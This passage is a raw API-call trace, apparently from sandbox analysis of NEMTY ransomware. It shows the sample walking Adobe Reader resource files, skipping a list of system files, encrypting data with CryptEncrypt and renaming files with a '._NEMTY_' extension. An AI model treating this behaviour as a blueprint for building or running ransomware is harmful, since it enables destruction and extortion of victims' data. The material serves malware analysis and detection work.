lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.649] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.658] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.658] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.668] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.687] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.696] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.702] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.702] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0198.708] CloseHandle (hObject=0xffffffff) returned 0 [0198.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0198.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0198.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0198.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0198.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0198.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0198.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0198.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0198.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.708] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-2._nemty_kgobjgd_")) returned 0 [0198.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0198.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0198.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0198.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0198.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0198.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0198.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0198.709] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-3", cAlternateFileName="ADF600~1")) returned 1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2=".") returned 1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="..") returned 1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="...") returned 1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="windows") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="$RECYCLE.BIN") returned 1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="rsa") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="NTDETECT.COM") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="ntldr") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="MSDOS.SYS") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="IO.SYS") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="boot.ini") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="boot.ini") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="AUTOEXEC.BAT") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="ntuser.dat") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="desktop.ini") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="CONFIG.SYS") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="RECYCLER") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="BOOTSECT.BAK") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="bootmgr") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="programdata") returned -1 [0198.709] lstrcmpiW (lpString1="Adobe-GB1-3", lpString2="appdata") returned -1 [0198.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-3", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-3", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-3", lpUsedDefaultChar=0x0) returned 11 [0198.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-3", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-3", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-3", lpUsedDefaultChar=0x0) returned 11 [0198.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-3", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-3", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-3", lpUsedDefaultChar=0x0) returned 11 [0198.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-3", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-3", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-3", lpUsedDefaultChar=0x0) returned 11 [0198.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0198.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0198.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0198.710] Sleep (dwMilliseconds=0x5) [0198.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a166f70, dwHighDateTime=0x1d561e8)) [0198.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a166f70, dwHighDateTime=0x1d561e8)) [0198.711] GetLastError () returned 0x5 [0198.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0198.711] GetLastError () returned 0x5 [0198.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0198.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.711] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0198.711] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0198.711] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0198.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0198.711] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="b4BETkR7apgrXz299/gFaPSQJl6wKtoqNQda9uATD+f8IVWJ+YjX/Da0jaWYb6kV\r\n6ifdIb7CZSnhTDOgFz8GjbLa+WTpP13KzWJTrltTmSWqEi+ZNtKSYmkumiombAi7\r\nw/koZCRedk+WVilw1V8zmQ8jj6/WlyDUYhbOY2iC088PvRGKkhNEw9xIVYWMi+qA\r\n1mEWeuu2alKKikXWmmA9Qw9dRNXfNHh0mDifLO3Vwqr/TJh7KIpKQsrq16tWlBVn\r\nlxAqQDB41JJJFuypSMz1Br4jsciplG0ScVn4oiTE52/bKuHDgvtn2n5BjiW1bb5b\r\nfE6nf7VGRiHh88kltbMaEQ==\r\n", pcchString=0x653e91c) returned 1 [0198.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0198.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0198.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0198.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0198.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0198.711] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.712] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0198.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0198.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.712] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.721] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.721] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.730] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.730] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.730] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.730] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.740] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.740] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.749] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.749] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.769] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.769] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.769] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.769] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.778] SetFilePointer (in: 